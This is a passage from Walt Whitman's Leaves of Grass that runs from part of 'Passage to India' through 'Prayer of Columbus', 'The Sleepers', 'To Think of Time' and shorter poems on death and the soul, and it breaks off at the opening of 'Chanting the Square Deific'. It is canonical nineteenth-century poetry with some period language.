+Singing the great achievements of the present, +Singing the strong light works of engineers, +Our modern wonders, (the antique ponderous Seven outvied,) +In the Old World the east the Suez canal, +The New by its mighty railroad spann'd, +The seas inlaid with eloquent gentle wires; +Yet first to sound, and ever sound, the cry with thee O soul, +The Past! the Past! the Past! + +The Past--the dark unfathom'd retrospect! +The teeming gulf--the sleepers and the shadows! +The past--the infinite greatness of the past! +For what is the present after all but a growth out of the past? +(As a projectile form'd, impell'd, passing a certain line, still keeps on, +So the present, utterly form'd, impell'd by the past.) + + 2 +Passage O soul to India! +Eclaircise the myths Asiatic, the primitive fables. + +Not you alone proud truths of the world, +Nor you alone ye facts of modern science, +But myths and fables of eld, Asia's, Africa's fables, +The far-darting beams of the spirit, the unloos'd dreams, +The deep diving bibles and legends, +The daring plots of the poets, the elder religions; +O you temples fairer than lilies pour'd over by the rising sun! +O you fables spurning the known, eluding the hold of the known, + mounting to heaven! +You lofty and dazzling towers, pinnacled, red as roses, burnish'd + with gold! +Towers of fables immortal fashion'd from mortal dreams! +You too I welcome and fully the same as the rest! +You too with joy I sing. + +Passage to India! +Lo, soul, seest thou not God's purpose from the first? +The earth to be spann'd, connected by network, +The races, neighbors, to marry and be given in marriage, +The oceans to be cross'd, the distant brought near, +The lands to be welded together. + +A worship new I sing, +You captains, voyagers, explorers, yours, +You engineers, you architects, machinists, yours, +You, not for trade or transportation only, +But in God's name, and for thy sake O soul. + + 3 +Passage to India! +Lo soul for thee of tableaus twain, +I see in one the Suez canal initiated, open'd, +I see the procession of steamships, the Empress Engenie's leading the van, +I mark from on deck the strange landscape, the pure sky, the level + sand in the distance, +I pass swiftly the picturesque groups, the workmen gather'd, +The gigantic dredging machines. + +In one again, different, (yet thine, all thine, O soul, the same,) +I see over my own continent the Pacific railroad surmounting every barrier, +I see continual trains of cars winding along the Platte carrying + freight and passengers, +I hear the locomotives rushing and roaring, and the shrill steam-whistle, +I hear the echoes reverberate through the grandest scenery in the world, +I cross the Laramie plains, I note the rocks in grotesque shapes, + the buttes, +I see the plentiful larkspur and wild onions, the barren, colorless, + sage-deserts, +I see in glimpses afar or towering immediately above me the great + mountains, I see the Wind river and the Wahsatch mountains, +I see the Monument mountain and the Eagle's Nest, I pass the + Promontory, I ascend the Nevadas, +I scan the noble Elk mountain and wind around its base, +I see the Humboldt range, I thread the valley and cross the river, +I see the clear waters of lake Tahoe, I see forests of majestic pines, +Or crossing the great desert, the alkaline plains, I behold + enchanting mirages of waters and meadows, +Marking through these and after all, in duplicate slender lines, +Bridging the three or four thousand miles of land travel, +Tying the Eastern to the Western sea, +The road between Europe and Asia. + +(Ah Genoese thy dream! thy dream! +Centuries after thou art laid in thy grave, +The shore thou foundest verifies thy dream.) + + 4 +Passage to India! +Struggles of many a captain, tales of many a sailor dead, +Over my mood stealing and spreading they come, +Like clouds and cloudlets in the unreach'd sky. + +Along all history, down the slopes, +As a rivulet running, sinking now, and now again to the surface rising, +A ceaseless thought, a varied train--lo, soul, to thee, thy sight, + they rise, +The plans, the voyages again, the expeditions; +Again Vasco de Gama sails forth, +Again the knowledge gain'd, the mariner's compass, +Lands found and nations born, thou born America, +For purpose vast, man's long probation fill'd, +Thou rondure of the world at last accomplish'd. + + 5 +O vast Rondure, swimming in space, +Cover'd all over with visible power and beauty, +Alternate light and day and the teeming spiritual darkness, +Unspeakable high processions of sun and moon and countless stars above, +Below, the manifold grass and waters, animals, mountains, trees, +With inscrutable purpose, some hidden prophetic intention, +Now first it seems my thought begins to span thee. + +Down from the gardens of Asia descending radiating, +Adam and Eve appear, then their myriad progeny after them, +Wandering, yearning, curious, with restless explorations, +With questionings, baffled, formless, feverish, with never-happy hearts, +With that sad incessant refrain, Wherefore unsatisfied soul? and + Whither O mocking life? + +Ah who shall soothe these feverish children? +Who Justify these restless explorations? +Who speak the secret of impassive earth? +Who bind it to us? what is this separate Nature so unnatural? +What is this earth to our affections? (unloving earth, without a + throb to answer ours, +Cold earth, the place of graves.) + +Yet soul be sure the first intent remains, and shall be carried out, +Perhaps even now the time has arrived. + +After the seas are all cross'd, (as they seem already cross'd,) +After the great captains and engineers have accomplish'd their work, +After the noble inventors, after the scientists, the chemist, the + geologist, ethnologist, +Finally shall come the poet worthy that name, +The true son of God shall come singing his songs. + +Then not your deeds only O voyagers, O scientists and inventors, + shall be justified, +All these hearts as of fretted children shall be sooth'd, +All affection shall be fully responded to, the secret shall be told, +All these separations and gaps shall be taken up and hook'd and + link'd together, +The whole earth, this cold, impassive, voiceless earth, shall be + completely Justified, +Trinitas divine shall be gloriously accomplish'd and compacted by + the true son of God, the poet, +(He shall indeed pass the straits and conquer the mountains, +He shall double the cape of Good Hope to some purpose,) +Nature and Man shall be disjoin'd and diffused no more, +The true son of God shall absolutely fuse them. + + 6 +Year at whose wide-flung door I sing! +Year of the purpose accomplish'd! +Year of the marriage of continents, climates and oceans! +(No mere doge of Venice now wedding the Adriatic,) +I see O year in you the vast terraqueous globe given and giving all, +Europe to Asia, Africa join'd, and they to the New World, +The lands, geographies, dancing before you, holding a festival garland, +As brides and bridegrooms hand in hand. + +Passage to India! +Cooling airs from Caucasus far, soothing cradle of man, +The river Euphrates flowing, the past lit up again. + +Lo soul, the retrospect brought forward, +The old, most populous, wealthiest of earth's lands, +The streams of the Indus and the Ganges and their many affluents, +(I my shores of America walking to-day behold, resuming all,) +The tale of Alexander on his warlike marches suddenly dying, +On one side China and on the other side Persia and Arabia, +To the south the great seas and the bay of Bengal, +The flowing literatures, tremendous epics, religions, castes, +Old occult Brahma interminably far back, the tender and junior Buddha, +Central and southern empires and all their belongings, possessors, +The wars of Tamerlane,the reign of Aurungzebe, +The traders, rulers, explorers, Moslems, Venetians, Byzantium, the + Arabs, Portuguese, +The first travelers famous yet, Marco Polo, Batouta the Moor, +Doubts to be solv'd, the map incognita, blanks to be fill'd, +The foot of man unstay'd, the hands never at rest, +Thyself O soul that will not brook a challenge. + +The mediaeval navigators rise before me, +The world of 1492, with its awaken'd enterprise, +Something swelling in humanity now like the sap of the earth in spring, +The sunset splendor of chivalry declining. + +And who art thou sad shade? +Gigantic, visionary, thyself a visionary, +With majestic limbs and pious beaming eyes, +Spreading around with every look of thine a golden world, +Enhuing it with gorgeous hues. + +As the chief histrion, +Down to the footlights walks in some great scena, +Dominating the rest I see the Admiral himself, +(History's type of courage, action, faith,) +Behold him sail from Palos leading his little fleet, +His voyage behold, his return, his great fame, +His misfortunes, calumniators, behold him a prisoner, chain'd, +Behold his dejection, poverty, death. + +(Curious in time I stand, noting the efforts of heroes, +Is the deferment long? bitter the slander, poverty, death? +Lies the seed unreck'd for centuries in the ground? lo, to God's due + occasion, +Uprising in the night, it sprouts, blooms, +And fills the earth with use and beauty.) + + 7 +Passage indeed O soul to primal thought, +Not lands and seas alone, thy own clear freshness, +The young maturity of brood and bloom, +To realms of budding bibles. + +O soul, repressless, I with thee and thou with me, +Thy circumnavigation of the world begin, +Of man, the voyage of his mind's return, +To reason's early paradise, +Back, back to wisdom's birth, to innocent intuitions, +Again with fair creation. + + 8 +O we can wait no longer, +We too take ship O soul, +Joyous we too launch out on trackless seas, +Fearless for unknown shores on waves of ecstasy to sail, +Amid the wafting winds, (thou pressing me to thee, I thee to me, O soul,) +Caroling free, singing our song of God, +Chanting our chant of pleasant exploration. + +With laugh and many a kiss, +(Let others deprecate, let others weep for sin, remorse, humiliation,) +O soul thou pleasest me, I thee. + +Ah more than any priest O soul we too believe in God, +But with the mystery of God we dare not dally. + +O soul thou pleasest me, I thee, +Sailing these seas or on the hills, or waking in the night, +Thoughts, silent thoughts, of Time and Space and Death, like waters flowing, +Bear me indeed as through the regions infinite, +Whose air I breathe, whose ripples hear, lave me all over, +Bathe me O God in thee, mounting to thee, +I and my soul to range in range of thee. + +O Thou transcendent, +Nameless, the fibre and the breath, +Light of the light, shedding forth universes, thou centre of them, +Thou mightier centre of the true, the good, the loving, +Thou moral, spiritual fountain--affection's source--thou reservoir, +(O pensive soul of me--O thirst unsatisfied--waitest not there? +Waitest not haply for us somewhere there the Comrade perfect?) +Thou pulse--thou motive of the stars, suns, systems, +That, circling, move in order, safe, harmonious, +Athwart the shapeless vastnesses of space, +How should I think, how breathe a single breath, how speak, if, out + of myself, +I could not launch, to those, superior universes? + +Swiftly I shrivel at the thought of God, +At Nature and its wonders, Time and Space and Death, +But that I, turning, call to thee O soul, thou actual Me, +And lo, thou gently masterest the orbs, +Thou matest Time, smilest content at Death, +And fillest, swellest full the vastnesses of Space. + +Greater than stars or suns, +Bounding O soul thou journeyest forth; +What love than thine and ours could wider amplify? +What aspirations, wishes, outvie thine and ours O soul? +What dreams of the ideal? what plans of purity, perfection, strength? +What cheerful willingness for others' sake to give up all? +For others' sake to suffer all? + +Reckoning ahead O soul, when thou, the time achiev'd, +The seas all cross'd, weather'd the capes, the voyage done, +Surrounded, copest, frontest God, yieldest, the aim attain'd, +As fill'd with friendship, love complete, the Elder Brother found, +The Younger melts in fondness in his arms. + + 9 +Passage to more than India! +Are thy wings plumed indeed for such far flights? +O soul, voyagest thou indeed on voyages like those? +Disportest thou on waters such as those? +Soundest below the Sanscrit and the Vedas? +Then have thy bent unleash'd. + +Passage to you, your shores, ye aged fierce enigmas! +Passage to you, to mastership of you, ye strangling problems! +You, strew'd with the wrecks of skeletons, that, living, never reach'd you. + +Passage to more than India! +O secret of the earth and sky! +Of you O waters of the sea! O winding creeks and rivers! +Of you O woods and fields! of you strong mountains of my land! +Of you O prairies! of you gray rocks! +O morning red! O clouds! O rain and snows! +O day and night, passage to you! + + +O sun and moon and all you stars! Sirius and Jupiter! +Passage to you! + +Passage, immediate passage! the blood burns in my veins! +Away O soul! hoist instantly the anchor! + +Cut the hawsers--haul out--shake out every sail! +Have we not stood here like trees in the ground long enough? +Have we not grovel'd here long enough, eating and drinking like mere brutes? +Have we not darken'd and dazed ourselves with books long enough? + +Sail forth--steer for the deep waters only, +Reckless O soul, exploring, I with thee, and thou with me, +For we are bound where mariner has not yet dared to go, +And we will risk the ship, ourselves and all. + +O my brave soul! +O farther farther sail! +O daring joy, but safe! are they not all the seas of God? +O farther, farther, farther sail! + + + +[BOOK XXVII] + +} Prayer of Columbus + +A batter'd, wreck'd old man, +Thrown on this savage shore, far, far from home, +Pent by the sea and dark rebellious brows, twelve dreary months, +Sore, stiff with many toils, sicken'd and nigh to death, +I take my way along the island's edge, +Venting a heavy heart. + +I am too full of woe! +Haply I may not live another day; +I cannot rest O God, I cannot eat or drink or sleep, +Till I put forth myself, my prayer, once more to Thee, +Breathe, bathe myself once more in Thee, commune with Thee, +Report myself once more to Thee. + +Thou knowest my years entire, my life, +My long and crowded life of active work, not adoration merely; +Thou knowest the prayers and vigils of my youth, +Thou knowest my manhood's solemn and visionary meditations, +Thou knowest how before I commenced I devoted all to come to Thee, +Thou knowest I have in age ratified all those vows and strictly kept them, +Thou knowest I have not once lost nor faith nor ecstasy in Thee, +In shackles, prison'd, in disgrace, repining not, +Accepting all from Thee, as duly come from Thee. + +All my emprises have been fill'd with Thee, +My speculations, plans, begun and carried on in thoughts of Thee, +Sailing the deep or journeying the land for Thee; +Intentions, purports, aspirations mine, leaving results to Thee. + +O I am sure they really came from Thee, +The urge, the ardor, the unconquerable will, +The potent, felt, interior command, stronger than words, +A message from the Heavens whispering to me even in sleep, +These sped me on. + +By me and these the work so far accomplish'd, +By me earth's elder cloy'd and stifled lands uncloy'd, unloos'd, +By me the hemispheres rounded and tied, the unknown to the known. + +The end I know not, it is all in Thee, +Or small or great I know not--haply what broad fields, what lands, +Haply the brutish measureless human undergrowth I know, +Transplanted there may rise to stature, knowledge worthy Thee, +Haply the swords I know may there indeed be turn'd to reaping-tools, +Haply the lifeless cross I know, Europe's dead cross, may bud and + blossom there. + +One effort more, my altar this bleak sand; +That Thou O God my life hast lighted, +With ray of light, steady, ineffable, vouchsafed of Thee, +Light rare untellable, lighting the very light, +Beyond all signs, descriptions, languages; +For that O God, be it my latest word, here on my knees, +Old, poor, and paralyzed, I thank Thee. + +My terminus near, +The clouds already closing in upon me, +The voyage balk'd, the course disputed, lost, +I yield my ships to Thee. + +My hands, my limbs grow nerveless, +My brain feels rack'd, bewilder'd, +Let the old timbers part, I will not part, +I will cling fast to Thee, O God, though the waves buffet me, +Thee, Thee at least I know. + +Is it the prophet's thought I speak, or am I raving? +What do I know of life? what of myself? +I know not even my own work past or present, +Dim ever-shifting guesses of it spread before me, +Of newer better worlds, their mighty parturition, +Mocking, perplexing me. + +And these things I see suddenly, what mean they? +As if some miracle, some hand divine unseal'd my eyes, +Shadowy vast shapes smile through the air and sky, +And on the distant waves sail countless ships, +And anthems in new tongues I hear saluting me. + + + +[BOOK XXVIII] + +} The Sleepers + + 1 +I wander all night in my vision, +Stepping with light feet, swiftly and noiselessly stepping and stopping, +Bending with open eyes over the shut eyes of sleepers, +Wandering and confused, lost to myself, ill-assorted, contradictory, +Pausing, gazing, bending, and stopping. + +How solemn they look there, stretch'd and still, +How quiet they breathe, the little children in their cradles. + +The wretched features of ennuyes, the white features of corpses, the + livid faces of drunkards, the sick-gray faces of onanists, +The gash'd bodies on battle-fields, the insane in their + strong-door'd rooms, the sacred idiots, the new-born emerging + from gates, and the dying emerging from gates, +The night pervades them and infolds them. + +The married couple sleep calmly in their bed, he with his palm on + the hip of the wife, and she with her palm on the hip of the husband, +The sisters sleep lovingly side by side in their bed, +The men sleep lovingly side by side in theirs, +And the mother sleeps with her little child carefully wrapt. + +The blind sleep, and the deaf and dumb sleep, +The prisoner sleeps well in the prison, the runaway son sleeps, +The murderer that is to be hung next day, how does he sleep? +And the murder'd person, how does he sleep? + +The female that loves unrequited sleeps, +And the male that loves unrequited sleeps, +The head of the money-maker that plotted all day sleeps, +And the enraged and treacherous dispositions, all, all sleep. + +I stand in the dark with drooping eyes by the worst-suffering and + the most restless, +I pass my hands soothingly to and fro a few inches from them, +The restless sink in their beds, they fitfully sleep. + +Now I pierce the darkness, new beings appear, +The earth recedes from me into the night, +I saw that it was beautiful, and I see that what is not the earth is + beautiful. + +I go from bedside to bedside, I sleep close with the other sleepers + each in turn, +I dream in my dream all the dreams of the other dreamers, +And I become the other dreamers. + +I am a dance--play up there! the fit is whirling me fast! + +I am the ever-laughing--it is new moon and twilight, +I see the hiding of douceurs, I see nimble ghosts whichever way look, +Cache and cache again deep in the ground and sea, and where it is + neither ground nor sea. + +Well do they do their jobs those journeymen divine, +Only from me can they hide nothing, and would not if they could, +I reckon I am their boss and they make me a pet besides, +And surround me and lead me and run ahead when I walk, +To lift their cunning covers to signify me with stretch'd arms, and + resume the way; +Onward we move, a gay gang of blackguards! with mirth-shouting + music and wild-flapping pennants of joy! + +I am the actor, the actress, the voter, the politician, +The emigrant and the exile, the criminal that stood in the box, +He who has been famous and he who shall be famous after to-day, +The stammerer, the well-form'd person, the wasted or feeble person. + +I am she who adorn'd herself and folded her hair expectantly, +My truant lover has come, and it is dark. + +Double yourself and receive me darkness, +Receive me and my lover too, he will not let me go without him. + +I roll myself upon you as upon a bed, I resign myself to the dusk. + +He whom I call answers me and takes the place of my lover, +He rises with me silently from the bed. + +Darkness, you are gentler than my lover, his flesh was sweaty and panting, +I feel the hot moisture yet that he left me. + +My hands are spread forth, I pass them in all directions, +I would sound up the shadowy shore to which you are journeying. + +Be careful darkness! already what was it touch'd me? +I thought my lover had gone, else darkness and he are one, +I hear the heart-beat, I follow, I fade away. + + 2 +I descend my western course, my sinews are flaccid, +Perfume and youth course through me and I am their wake. + +It is my face yellow and wrinkled instead of the old woman's, +I sit low in a straw-bottom chair and carefully darn my grandson's + stockings. + +It is I too, the sleepless widow looking out on the winter midnight, +I see the sparkles of starshine on the icy and pallid earth. + +A shroud I see and I am the shroud, I wrap a body and lie in the coffin, +It is dark here under ground, it is not evil or pain here, it is + blank here, for reasons. + +(It seems to me that every thing in the light and air ought to be happy, +Whoever is not in his coffin and the dark grave let him know he has enough.) + + 3 +I see a beautiful gigantic swimmer swimming naked through the eddies + of the sea, +His brown hair lies close and even to his head, he strikes out with + courageous arms, he urges himself with his legs, +I see his white body, I see his undaunted eyes, +I hate the swift-running eddies that would dash him head-foremost on + the rocks. + +What are you doing you ruffianly red-trickled waves? +Will you kill the courageous giant? will you kill him in the prime + of his middle age? + +Steady and long he struggles, +He is baffled, bang'd, bruis'd, he holds out while his strength + holds out, +The slapping eddies are spotted with his blood, they bear him away, + they roll him, swing him, turn him, +His beautiful body is borne in the circling eddies, it is + continually bruis'd on rocks, +Swiftly and ought of sight is borne the brave corpse. + + 4 +I turn but do not extricate myself, +Confused, a past-reading, another, but with darkness yet. + +The beach is cut by the razory ice-wind, the wreck-guns sound, +The tempest lulls, the moon comes floundering through the drifts. + +I look where the ship helplessly heads end on, I hear the burst as + she strikes, I hear the howls of dismay, they grow fainter and fainter. + +I cannot aid with my wringing fingers, +I can but rush to the surf and let it drench me and freeze upon me. + +I search with the crowd, not one of the company is wash'd to us alive, +In the morning I help pick up the dead and lay them in rows in a barn. + + 5 +Now of the older war-days, the defeat at Brooklyn, +Washington stands inside the lines, he stands on the intrench'd + hills amid a crowd of officers. +His face is cold and damp, he cannot repress the weeping drops, +He lifts the glass perpetually to his eyes, the color is blanch'd + from his cheeks, +He sees the slaughter of the southern braves confided to him by + their parents. + +The same at last and at last when peace is declared, +He stands in the room of the old tavern, the well-belov'd soldiers + all pass through, +The officers speechless and slow draw near in their turns, +The chief encircles their necks with his arm and kisses them on the cheek, +He kisses lightly the wet cheeks one after another, he shakes hands + and bids good-by to the army. + + 6 +Now what my mother told me one day as we sat at dinner together, +Of when she was a nearly grown girl living home with her parents on + the old homestead. + +A red squaw came one breakfast-time to the old homestead, +On her back she carried a bundle of rushes for rush-bottoming chairs, +Her hair, straight, shiny, coarse, black, profuse, half-envelop'd + her face, +Her step was free and elastic, and her voice sounded exquisitely as + she spoke. + +My mother look'd in delight and amazement at the stranger, +She look'd at the freshness of her tall-borne face and full and + pliant limbs, +The more she look'd upon her she loved her, +Never before had she seen such wonderful beauty and purity, +She made her sit on a bench by the jamb of the fireplace, she cook'd + food for her, +She had no work to give her, but she gave her remembrance and fondness. + +The red squaw staid all the forenoon, and toward the middle of the + afternoon she went away, +O my mother was loth to have her go away, +All the week she thought of her, she watch'd for her many a month, +She remember'd her many a winter and many a summer, +But the red squaw never came nor was heard of there again. + + 7 +A show of the summer softness--a contact of something unseen--an + amour of the light and air, +I am jealous and overwhelm'd with friendliness, +And will go gallivant with the light and air myself. + +O love and summer, you are in the dreams and in me, +Autumn and winter are in the dreams, the farmer goes with his thrift, +The droves and crops increase, the barns are well-fill'd. + +Elements merge in the night, ships make tacks in the dreams, +The sailor sails, the exile returns home, +The fugitive returns unharm'd, the immigrant is back beyond months + and years, +The poor Irishman lives in the simple house of his childhood with + the well known neighbors and faces, +They warmly welcome him, he is barefoot again, he forgets he is well off, +The Dutchman voyages home, and the Scotchman and Welshman voyage + home, and the native of the Mediterranean voyages home, +To every port of England, France, Spain, enter well-fill'd ships, +The Swiss foots it toward his hills, the Prussian goes his way, the + Hungarian his way, and the Pole his way, +The Swede returns, and the Dane and Norwegian return. + +The homeward bound and the outward bound, +The beautiful lost swimmer, the ennuye, the onanist, the female that + loves unrequited, the money-maker, +The actor and actress, those through with their parts and those + waiting to commence, +The affectionate boy, the husband and wife, the voter, the nominee + that is chosen and the nominee that has fail'd, +The great already known and the great any time after to-day, +The stammerer, the sick, the perfect-form'd, the homely, +The criminal that stood in the box, the judge that sat and sentenced + him, the fluent lawyers, the jury, the audience, +The laugher and weeper, the dancer, the midnight widow, the red squaw, +The consumptive, the erysipalite, the idiot, he that is wrong'd, +The antipodes, and every one between this and them in the dark, +I swear they are averaged now--one is no better than the other, +The night and sleep have liken'd them and restored them. + +I swear they are all beautiful, +Every one that sleeps is beautiful, every thing in the dim light is + beautiful, +The wildest and bloodiest is over, and all is peace. + +Peace is always beautiful, +The myth of heaven indicates peace and night. + +The myth of heaven indicates the soul, +The soul is always beautiful, it appears more or it appears less, it + comes or it lags behind, +It comes from its embower'd garden and looks pleasantly on itself + and encloses the world, +Perfect and clean the genitals previously jetting,and perfect and + clean the womb cohering, +The head well-grown proportion'd and plumb, and the bowels and + joints proportion'd and plumb. + +The soul is always beautiful, +The universe is duly in order, every thing is in its place, +What has arrived is in its place and what waits shall be in its place, +The twisted skull waits, the watery or rotten blood waits, +The child of the glutton or venerealee waits long, and the child of + the drunkard waits long, and the drunkard himself waits long, +The sleepers that lived and died wait, the far advanced are to go on + in their turns, and the far behind are to come on in their turns, +The diverse shall be no less diverse, but they shall flow and unite-- + they unite now. + + 8 +The sleepers are very beautiful as they lie unclothed, +They flow hand in hand over the whole earth from east to west as + they lie unclothed, +The Asiatic and African are hand in hand, the European and American + are hand in hand, +Learn'd and unlearn'd are hand in hand, and male and female are hand + in hand, +The bare arm of the girl crosses the bare breast of her lover, they + press close without lust, his lips press her neck, +The father holds his grown or ungrown son in his arms with + measureless love, and the son holds the father in his arms with + measureless love, +The white hair of the mother shines on the white wrist of the daughter, +The breath of the boy goes with the breath of the man, friend is + inarm'd by friend, +The scholar kisses the teacher and the teacher kisses the scholar, + the wrong 'd made right, +The call of the slave is one with the master's call, and the master + salutes the slave, +The felon steps forth from the prison, the insane becomes sane, the + suffering of sick persons is reliev'd, +The sweatings and fevers stop, the throat that was unsound is sound, + the lungs of the consumptive are resumed, the poor distress'd + head is free, +The joints of the rheumatic move as smoothly as ever, and smoother + than ever, +Stiflings and passages open, the paralyzed become supple, +The swell'd and convuls'd and congested awake to themselves in condition, +They pass the invigoration of the night and the chemistry of the + night, and awake. + +I too pass from the night, +I stay a while away O night, but I return to you again and love you. + +Why should I be afraid to trust myself to you? +I am not afraid, I have been well brought forward by you, +I love the rich running day, but I do not desert her in whom I lay so long, +I know not how I came of you and I know not where I go with you, but + I know I came well and shall go well. + +I will stop only a time with the night, and rise betimes, +I will duly pass the day O my mother, and duly return to you. + + + +} Transpositions + +Let the reformers descend from the stands where they are forever + bawling--let an idiot or insane person appear on each of the stands; +Let judges and criminals be transposed--let the prison-keepers be + put in prison--let those that were prisoners take the keys; +Let them that distrust birth and death lead the rest. + + + +[BOOK XXIX] + +} To Think of Time + + 1 +To think of time--of all that retrospection, +To think of to-day, and the ages continued henceforward. + +Have you guess'd you yourself would not continue? +Have you dreaded these earth-beetles? +Have you fear'd the future would be nothing to you? + +Is to-day nothing? is the beginningless past nothing? +If the future is nothing they are just as surely nothing. + +To think that the sun rose in the east--that men and women were + flexible, real, alive--that every thing was alive, +To think that you and I did not see, feel, think, nor bear our part, +To think that we are now here and bear our part. + + 2 +Not a day passes, not a minute or second without an accouchement, +Not a day passes, not a minute or second without a corpse. + +The dull nights go over and the dull days also, +The soreness of lying so much in bed goes over, +The physician after long putting off gives the silent and terrible + look for an answer, +The children come hurried and weeping, and the brothers and sisters + are sent for, +Medicines stand unused on the shelf, (the camphor-smell has long + pervaded the rooms,) +The faithful hand of the living does not desert the hand of the dying, +The twitching lips press lightly on the forehead of the dying, +The breath ceases and the pulse of the heart ceases, +The corpse stretches on the bed and the living look upon it, +It is palpable as the living are palpable. + +The living look upon the corpse with their eyesight, +But without eyesight lingers a different living and looks curiously + on the corpse. + + 3 +To think the thought of death merged in the thought of materials, +To think of all these wonders of city and country, and others taking + great interest in them, and we taking no interest in them. + +To think how eager we are in building our houses, +To think others shall be just as eager, and we quite indifferent. + +(I see one building the house that serves him a few years, or + seventy or eighty years at most, +I see one building the house that serves him longer than that.) + +Slow-moving and black lines creep over the whole earth--they never + cease--they are the burial lines, +He that was President was buried, and he that is now President shall + surely be buried. + + + 4 +A reminiscence of the vulgar fate, +A frequent sample of the life and death of workmen, +Each after his kind. + +Cold dash of waves at the ferry-wharf, posh and ice in the river, + half-frozen mud in the streets, +A gray discouraged sky overhead, the short last daylight of December, +A hearse and stages, the funeral of an old Broadway stage-driver, + the cortege mostly drivers. + +Steady the trot to the cemetery, duly rattles the death-bell, +The gate is pass'd, the new-dug grave is halted at, the living + alight, the hearse uncloses, +The coffin is pass'd out, lower'd and settled, the whip is laid on + the coffin, the earth is swiftly shovel'd in, +The mound above is flatted with the spades--silence, +A minute--no one moves or speaks--it is done, +He is decently put away--is there any thing more? + +He was a good fellow, free-mouth'd, quick-temper'd, not bad-looking, +Ready with life or death for a friend, fond of women, gambled, ate + hearty, drank hearty, +Had known what it was to be flush, grew low-spirited toward the + last, sicken'd, was help'd by a contribution, +Died, aged forty-one years--and that was his funeral. + +Thumb extended, finger uplifted, apron, cape, gloves, strap, + wet-weather clothes, whip carefully chosen, +Boss, spotter, starter, hostler, somebody loafing on you, you + loafing on somebody, headway, man before and man behind, +Good day's work, bad day's work, pet stock, mean stock, first out, + last out, turning-in at night, +To think that these are so much and so nigh to other drivers, and he + there takes no interest in them. + + 5 +The markets, the government, the working-man's wages, to think what + account they are through our nights and days, +To think that other working-men will make just as great account of + them, yet we make little or no account. + +The vulgar and the refined, what you call sin and what you call + goodness, to think how wide a difference, +To think the difference will still continue to others, yet we lie + beyond the difference. + +To think how much pleasure there is, +Do you enjoy yourself in the city? or engaged in business? or + planning a nomination and election? or with your wife and family? +Or with your mother and sisters? or in womanly housework? or the + beautiful maternal cares? +These also flow onward to others, you and I flow onward, +But in due time you and I shall take less interest in them. + +Your farm, profits, crops--to think how engross'd you are, +To think there will still be farms, profits, crops, yet for you of + what avail? + + 6 +What will be will be well, for what is is well, +To take interest is well, and not to take interest shall be well. + +The domestic joys, the dally housework or business, the building of + houses, are not phantasms, they have weight, form, location, +Farms, profits, crops, markets, wages, government, are none of them + phantasms, +The difference between sin and goodness is no delusion, +The earth is not an echo, man and his life and all the things of his + life are well-consider'd. + +You are not thrown to the winds, you gather certainly and safely + around yourself, +Yourself! yourself!. yourself, for ever and ever! + + 7 +It is not to diffuse you that you were born of your mother and + father, it is to identify you, +It is not that you should be undecided, but that you should be decided, +Something long preparing and formless is arrived and form'd in you, +You are henceforth secure, whatever comes or goes. + +The threads that were spun are gather'd, the wet crosses the warp, + the pattern is systematic. + +The preparations have every one been justified, +The orchestra have sufficiently tuned their instruments, the baton + has given the signal. + +The guest that was coming, he waited long, he is now housed, +He is one of those who are beautiful and happy, he is one of those + that to look upon and be with is enough. + +The law of the past cannot be eluded, +The law of the present and future cannot be eluded, +The law of the living cannot be eluded, it is eternal, +The law of promotion and transformation cannot be eluded, +The law of heroes and good-doers cannot be eluded, +The law of drunkards, informers, mean persons, not one iota thereof + can be eluded. + + 8 +Slow moving and black lines go ceaselessly over the earth, +Northerner goes carried and Southerner goes carried, and they on the + Atlantic side and they on the Pacific, +And they between, and all through the Mississippi country, and all + over the earth. + +The great masters and kosmos are well as they go, the heroes and + good-doers are well, +The known leaders and inventors and the rich owners and pious and + distinguish'd may be well, +But there is more account than that, there is strict account of all. + +The interminable hordes of the ignorant and wicked are not nothing, +The barbarians of Africa and Asia are not nothing, +The perpetual successions of shallow people are not nothing as they go. + +Of and in all these things, +I have dream'd that we are not to be changed so much, nor the law of + us changed, +I have dream'd that heroes and good-doers shall be under the present + and past law, +And that murderers, drunkards, liars, shall be under the present and + past law, +For I have dream'd that the law they are under now is enough. + +And I have dream'd that the purpose and essence of the known life, + the transient, +Is to form and decide identity for the unknown life, the permanent. + +If all came but to ashes of dung, +If maggots and rats ended us, then Alarum! for we are betray'd, +Then indeed suspicion of death. + +Do you suspect death? if I were to suspect death I should die now, +Do you think I could walk pleasantly and well-suited toward annihilation? + +Pleasantly and well-suited I walk, +Whither I walk I cannot define, but I know it is good, +The whole universe indicates that it is good, +The past and the present indicate that it is good. + +How beautiful and perfect are the animals! +How perfect the earth, and the minutest thing upon it! +What is called good is perfect, and what is called bad is just as perfect, +The vegetables and minerals are all perfect, and the imponderable + fluids perfect; +Slowly and surely they have pass'd on to this, and slowly and surely + they yet pass on. + + 9 +I swear I think now that every thing without exception has an eternal soul! +The trees have, rooted in the ground! the weeds of the sea have! the + animals! + +I swear I think there is nothing but immortality! +That the exquisite scheme is for it, and the nebulous float is for + it, and the cohering is for it! +And all preparation is for it--and identity is for it--and life and + materials are altogether for it! + + + +[BOOK XXX. WHISPERS OF HEAVENLY DEATH] + +} Darest Thou Now O Soul + +Darest thou now O soul, +Walk out with me toward the unknown region, +Where neither ground is for the feet nor any path to follow? + +No map there, nor guide, +Nor voice sounding, nor touch of human hand, +Nor face with blooming flesh, nor lips, nor eyes, are in that land. + +I know it not O soul, +Nor dost thou, all is a blank before us, +All waits undream'd of in that region, that inaccessible land. + +Till when the ties loosen, +All but the ties eternal, Time and Space, +Nor darkness, gravitation, sense, nor any bounds bounding us. + +Then we burst forth, we float, +In Time and Space O soul, prepared for them, +Equal, equipt at last, (O joy! O fruit of all!) them to fulfil O soul. + + + +} Whispers of Heavenly Death + +Whispers of heavenly death murmur'd I hear, +Labial gossip of night, sibilant chorals, +Footsteps gently ascending, mystical breezes wafted soft and low, +Ripples of unseen rivers, tides of a current flowing, forever flowing, +(Or is it the plashing of tears? the measureless waters of human tears?) + +I see, just see skyward, great cloud-masses, +Mournfully slowly they roll, silently swelling and mixing, +With at times a half-dimm'd sadden'd far-off star, +Appearing and disappearing. + +(Some parturition rather, some solemn immortal birth; +On the frontiers to eyes impenetrable, +Some soul is passing over.) + + + +} Chanting the Square Deific + + 1 +Chanting the square deific, out of the One advancing, out of the sides, +Out of the old and new, out of the square entirely divine, +Solid, four-sided, (all the sides needed,) from this side Jehovah am I, +Old Brahm I, and I Saturnius am; +Not Time affects me--I am Time, old, modern as any, +Unpersuadable, relentless, executing righteous judgments, +As the Earth, the Father, the brown old Kronos, with laws, +Aged beyond computation, yet never new, ever with those mighty laws rolling, +Relentless I forgive no man--whoever sins dies--I will have that man's life; +Therefore 